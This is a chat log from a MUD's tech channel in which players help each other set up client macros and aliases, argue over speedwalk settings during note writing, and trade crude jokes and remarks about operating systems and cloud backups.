T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: look at the keys like UIO, JKL, etc...do they have little numbers on them anywhere?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}MightyChick Tech: no i dont have the little blue numbers either
T3/r7/2013-05-04.txt.gz:{chan ch=tech}MightyChick Tech: im using mush
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: http://www.gammon.com.au/scripts/doc.php?general=macros
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: then you can fake it, but you'd have to remember which key is which number, and do them using something like ctrl-j for west, ctrl-l for east, ctrl-i for north, etc
T3/r7/2013-05-04.txt.gz:{chan ch=tech}MightyChick Tech: yeah so how do i make that macro or whatever
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: I'd use this as a guide: http://code.google.com/p/aardwolfclientpackage/wiki/Macros
T3/r7/2013-05-04.txt.gz:{chan ch=tech}MightyChick Tech: yeah you cant make new ones. guess ill have to be a little backwards. lol. thanks evreyone
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: you can
T3/r7/2013-05-04.txt.gz:{chan ch=tech}MightyChick Tech: it says you cant add new macros
T3/r7/2013-05-04.txt.gz:{chan ch=tech}MightyChick Tech: right in that link you gave me.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: read the entire page, it tells you how to make them for any combination
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You have to add them add a script level, it's saying that you can't add any to the Game -> Configure -> Macro's List
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: no, it's not
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: oops, misread what cheez said
T3/r7/2013-05-04.txt.gz:{chan ch=tech}MightyChick Tech: ahh i see now. thanks
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: both the page ixle posted and the page I posted tell you what to use to make them using any key combo
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Aside from making macros, you can keep your last typed input in the command line so to go north multiple times you only have to type 'n' once then just hit enter over and over. With tintin I can also type 'nenw' to go north, east, north, west which also makes it easier. I'm sure there is a way to do that in Mush too.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: I'd not like that without requiring a "run"...it'd interfere with typing new, news, sun, etc...you normally wouldn't use that, but it'd make for some interesting notes, with words written vertically ;-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: That's news to me :)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Tintin is smart about how it does it.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: no such thing
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: It only interprets them as movement commands if they are the first and only thing input.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: right. so not smart
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Smart or not, it works.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: It can be turned off if you dislike it.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: fine, post a note to me with news as the subject, without using "dotcommands" to make it ;-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Note posted :0
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: heh, cheater :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: it is better, but it's not tintin doing it :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: now do it without you [manually or via your aftermarket scripting] turning
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: now do it without you [manually or via your aftermarket scripting] turning off the feature ;-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: That's what I did. :D
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: I didn't turn anything off.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: no it isn't
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: you did turn it off, you just forgot that you did that...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: Nope. 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: yup ranrr...look at your GMCP scripts
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: Wendy's is better than Burger King
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you guys are still using my package, I do turn off the autorun functionality in note-mode. FYI.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: You grin evilly at him.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: I knew ya did, and tt++ doesn't ship knowing anything about aard's note mode ;-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I wasn't the one claiming tt++ did it :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: Correct. Still didn't turn it off.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: yes you did
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: Hey, is that you standing behind me knowing what I typed?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: you saying you didn't type note write?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: In any case, believe what you will.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: I typed note write abelic, but close
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: I didn't say that you typed tt++'s command to turn it off, I said that you [manually or via aftermarket script] turned it off...which you did
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: Ah, so you mean I have some alias for note doing some magic?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: not an alias, GMCP status recognition
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: Let me check.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: the tintin++ feature will not allow you to write that note, without you loading scripts to override said feature...cheezburger's GMCP stuff turns off lots of stuff when you enter note mode
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: I guess I have an old version of that script then, because mine doesn't. I had to use another technique.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: \news?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: No, #send news
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: heh, if you "used another technique", then you're verifying that you did not write that note without cheating :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Same thing
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: I cheat by starting an actual text editor to write all my notes.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: If you check carefully, what I said was that I did not turn the feature off :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: so you both proved my point about the feature not being smart enough :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Smart enough is subjective.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: It's smart enough for me.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: Pretty much all useful features have corner cases where they may not work for some users they way they were intented. I don't see that as a problem.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: heh, without turning that feature off, you couldn't even stop writing a note without dotcommands
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: I wouldn't call that a corner case
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Actually, you can
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: not as a user that doesn't know how to fool things
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The autorun script explicitly ignored "end" :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: ignores*
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: OK, then you just can't go east, north, down }:>
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: gotta pick your battles with code :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: notes > e, n, d
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Well I can go e/n/d and write notes just fine so I'm not bothered.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: nod, which is why the normal way to use those commands requires you to tell it that you want it to be runcommands by prepending "run" or a period
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: and of course the period used in zmud and bt gets interesting results on gossip ;-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: I've always hated the in game note editors so my "cheat" is this: http://pastebin.com/LhTjQJF9
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I've always use .s and .p in notes anyways :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: I just compose outside my tf window entirely, then paste into the game
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I write the note in vim, then stream it into a send command :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: That's similar to what I do only the text editor gets called by tintin and then I use #textin to do the "pasting"
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech:  for blank lines, viola
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: @w that is
T3/r7/2013-05-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: stringed instrument
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: I just use a space for a blank line.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: heh, I'm usually sitting at a Windows machine and using putty, so use editpad pro or notepad++ and putty has right-click as paste
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: yeah, I use @w for both blank lines and indentation
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: I think we proved that note writing isn't a big enough issue to disable the tintin speedwalk setting :)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: actually you showed that the usual current tintin setup already disables it ;-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Well, do you at least think you might like that feature a bit more with automatic disable/enable for notes or other note bypasses? I think that was how this got started.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: tinyfugue has the same feature available, I don't enable it in tf either (so it's not a tf-vs-tt thing ;-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Right, it's a merit of the feature thing
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Even the rare times when I'm on a keybord with a numpad I don't use it because I like to keep my fingers on the home keys
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: I can type kill <blah> faster after moving that way
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: heh, I self-taught to type, so I pretty much type with just my left hand and don't use home keys
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: You are such a unique and special snowflake Abe :)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: You rapidly nod twice, in complete agreement.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: I can type over 70wpm with my left hand ;-)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: I slow down to around 40 if I do it "properly"
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: Ixle can type over 80 WPM with his right hand, which is his off hand.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: You giggle in his presence.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: an that is near flawless... he doesn't have to slow down
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: the downside is that I also jerk off with my left hand :(
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: ixle lost lost his left hand in a Yakuza Hone ritual... that leaves him rather lonely while he's typing
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: You comfort him.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Ixle bought a fleshlight
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: is this really the place for this? *peer*
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: We're talking about client features and typing, how is it not the place for it?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: you were talking about jerking off, and using fleshlights, while typing, which should probably be on curse. *bonk ixle*
T3/r7/2013-05-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: fleshlights are kinda technology
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Ixle nods at The Jerk Fiendish.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but anyway, how about them linuxes!
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: unix wannabes :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: I have one of those!
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: I hadn't seen a UNIX I didn't like, until I met macosx.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, and unixware. And maybe AIX. And SGI.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Aqua is a nicer shell than most
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: heh, OSX gives the best of all worlds :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: throw in NetBSD pkgsrc collection on OSX and you're golden
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ranrr Tech: I wouldn't call that a package manager, though.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: brew
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: You raise your eyebrow at Ranrr.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Despite all the negativity I'm actually finding ChromeOS pretty decent for my daily use. Nice to get a new machine for $199 too.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: where do your things go when you're offline?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: I'm guessing it stores a local copy of the docs to accomplish the offline editing. I don't do much that doesn't require the internet though.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: It has an image editor so I could edit locally stored pics.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Vonliege Tech: the NSA proposed a "cheap" cloud (forget what they called it at the time - "cloud" had not been coined yet) based computer back in the late 90s when everyone was getting online.  of course, their motivatino was to see what you were doing.  Never got funded.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: so the chromebook is what the XO should've been
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dantin Tech: Is there a setting in mush that captures and pastes color codes when you copy text from a window?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Ctrl+D if you have AardMush.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dantin Tech: Hrm, doesn't seem to be working for me
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Do you have the Aardmush installed? Are you highlighting the text, then pressing Ctrl+D? You should also be able to right-click and select copy with color, though I forget.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dantin Tech: Oh no I was using normal copy paste, thought ctrl+d was a setting or something
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dantin Tech: And yes it's Aardmush
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: ctrl-d instead of ctrl-c
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dantin Tech: Gotcha
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dantin Tech: Nifty, thanks
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: and in comm log you can right-click copy with or without colors
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dantin Tech: Oh yes, awesome
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: It pays to read what someone has said... ;)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Dantin Tech: I read it all, it's just a matter of understanding
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Ugh. I'm at wit's end. Can't connect to network on school laptop because of the Group Policy Client being corrupted (along with about 50 other files). Can't do repair install due to no Windows Product key. I /really/ don't want to take it to school IT. *sigh*
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Put a linux usb stick in it?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: And do what, exactly? I kind of need to use Windows because of the school programs loaded on it. :\
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: mud :p
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: ...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm MUDding from my personal laptop... Heh.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Yeah sorry, can't help if you have to be in the corrupted os
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Ixle Tech: Will the school not fix it for you?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh... they will... after I tell them what the new Administrator password is.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Book of Etzli scuffs his foot sheepishly on the ground.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Hanslanda Tech: he probably doesn't want the wait, or perhaps he's worry about them discovering his answer cheatsheat he's been making mint on.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Book of Etzli doesn't do well being told he can't change his desktop background to whatever he wants.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Plus, the school IT's way of fixing things is to wipe everything, start fresh. "I have no time to figure out what's wrong with your computer." is how he put it to everyone.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: well, they MAY after you tell them the new admin password...or they also may just not return it to you for breaching terms of use by accessing it and changing the admin password in the first place :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Hey, nothing in our paperwork says, "You shall not hack your laptop in any way." :p
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Besides, I'll just pawn it off on my brother, who spent time in prison for hacking anyway.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Book of Etzli's shifty eyes dart back and forth.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Wait, Steve Hathaway, you do not play Aardwolf, right?! ;)
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: Is there a way to create an alias that uses two phrases (such as.... hmm, runto cp) in mudlet?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: why would you need that as an alias?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: because cp is much shorter than typing campa
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: right, so use cp
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Nuanse Tech: so you want just type runto cp not, hmm, runto cp? that is just regular thing that mudlet does have
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Nuanse Tech: how, now that is for you to find out from helpfiles
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: ohk, but when I checked out how to make aliases I didn't see anything about two phrase ones, I'll look again, thanks
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: there's no reason to make it be 2 phrases
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: alias docp recall ; runto campaign
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: no, but I just like it that way
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: which is completely different from other things.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: no, it's actually what you should be doing for everything
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: runto isn't what you should use to get anywhere, when you're using a capable client
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Nuanse Tech: what abelinc means is make it enter (ofcourse you have aardamulet) then for 1 to 16 do docp;finish :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I'm really not a fan of mudlet, and I've had to wipe my hard drive so many times after creating aliases it's not worth it
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: runto is a fallback...you should be making speedwalks to places, often by making an alias for that place...type lagoon to run to black lagoon, etc
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: then don't use mudlet, use mushclient which then makes it as easy as mapper goto 32614
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: thanks
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: and save backups rather than recreating when you wipe your drive
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: google drive, dropbox, etc will all keep that info safe no matter what client you use
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I tried running it in a sandbox, it wouldn't work under the more useful protective settings
T3/r7/2013-05-04.txt.gz:{chan ch=tech}BlueBeetle Tech: dropbox :) i started using that when it came out, and now up to 21.9gb free space love it just wish they had support for xbox app like they di with sky dirve
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: plus, I don't believe that having it on my computer even to transfer to dropbox would be safe
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: well, skydrive is owned by microsoft...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Nuanse Tech: you should remove gayporn from there bluebeetle. you can find that now that you came out
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: what does sandbox have to do with anything?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}BlueBeetle Tech: nods so naturally  that makes sense 
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I'm assuming that running it from a place that is not on your major hard drive will work in a way that is very similar to a sandbox
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: Book of Etzli pats Nuanse on his head.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: who said anything about running it anywhere
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: first, those services all leave the files on your local hard drive and sync copies to their servers, second, I just said to use backups
T3/r7/2013-05-04.txt.gz:{chan ch=tech}BlueBeetle Tech: if you are running it from skydrive or dropbox you are realy just running it on your computer, its not  like a sandbox at all
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I think you did
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I have another copy of mush in dropbox but its zipped
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: nope I didn't
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: oh well, I'm not about to run it anyway.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: if you're not about to run it, then why would you ask how to make aliases in it?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I'm not, I was asking about mudlet
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: so you're not a fan of mudlet, you've wiped your hard drive doing who-knows-what, and you won't unzip mushclient...
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: not making much sense
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: which brings us to: functionAlias40 .. expected near part of the send part of the alias, but I can't find such a thing in the help files
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: It makes perfect sense
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Not really.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: Sure it does.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: it makes sense to not use the right tool but to instead use the tool that you're not a fan of
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Bast Tech: agreed, doesn't make any sense, and why would you have to wipe your hard drive when using mudlet?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: nevermind got it
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: Or not - I just crashed mudlet
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: What I don't really understand is why do you continue to use a product that you've already stated you do not like? Why not use MUSHclient?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: Because I like mush even less
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: Ok, I got closer to this two phrase alias working, it runs sort of, but it runs too many times - any ideas how to get it only to run once? I get an error about functionAlias40   but there's nothing about it in the help files
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: As in, it needs to be put somewhere in the send part of the alias, but I can't find where
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: what in the world did you do? all you have to do is click aliases, click add, type a name for it, type "^runto cp$", and type "runto campaign"
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: omg
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: thank you
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: but it's still a silly thing to do :P
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I cant believe that
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: omg
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh, why do you dislike MUSH even more than you dislike Mudlet?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I have my reasons
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: but now that it's done, save an export to somewhere not on your computer since you seem to avoid bothering to do anything properly because you bork your computer often
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm just curious, really. There's much more support for MUSH than there is Mudlet. MUSH would be my second choice if I weren't so hooked up on CMUD. :p
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: sadly, runto campaign didn't fix it - I think it has to do with expandalias
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: runto campaign is what you wanted it to expand to...but runto only works when you're at recall or you have a runprefix set
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: hmmm, good call
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: do you have another alias which is then getting called by this one?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: right, so I am using expandalias in order to get that to happen, and then the send runto campaign, but it hm is there a way to limit how many times it will run?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: nope
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: to get what to happen?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: why are you using expandalias?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: to get the alias using two phrases to work
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: you don't have to do anything to get it to work
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: oh
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: from a fresh mudlet install, doing absolutely nothing except what I said in that one tech post, it works flawlessly
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: well it wasn't working before but I guess it was because I was using the actual directions rather than the runto? I don't know
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: expandalias is to expressly call a different alias than the one you typed...what are you doing?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: Something wrong - I took out expandalias and just used the send and its working correctly
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: what you told us is that you want "runto cp" to send "runto campaign". That's what I gave you
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: don't use send
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: just type
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: ohk
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Endtime Tech: maybe just type campa :p
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: stop trying to outsmart the program and just use it like it's meant to be used
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I'm not trying to outsmart it I'm just trying to get it to work with little knowledge or experience about how mudlet works.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: in the aliases window, when you click on that alias, there should be an Alias name...the pattern should be "^runto cp$" without the quotes...the substitution should be "runto campaign" without the quotes, and nothing should be in the big box
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: you're doing a simple substitution, no scripting, no anything
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: besides, I hate being manipulated and when its so obvious (esp this strategy, which is a rather good and working one, about being friendly to me, so I'm willing to go along with it) then it seems kind of insulting - really think I won't notice?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: so you should not be using any script commands at all
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I'm not, that I know of at least
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: manipulated? strategy? from your very first request I've been telling you that your idea for the alias is wrong, and that you're using the wrong tool for the job...wasn't exactly being sneaky there
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: send is a script command, as is expandalias
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aizma Tech: I'm finding this whole discussion incredibly difficult to follow.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aizma Tech: Is there a SparkNotes version of this?
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I realize that I'm using the wrong tool. But its really really hard to switch tools after such a long time. It takes time.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: In short: Since people have been nasty towards me for so long, it is going to take a long time for me to be less nasty.
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Tech: heh, but you're trying to switch TO the wrong tool
T3/r7/2013-05-04.txt.gz:{chan ch=tech}Aurelia Tech: I'm not trying to switch to any tool.
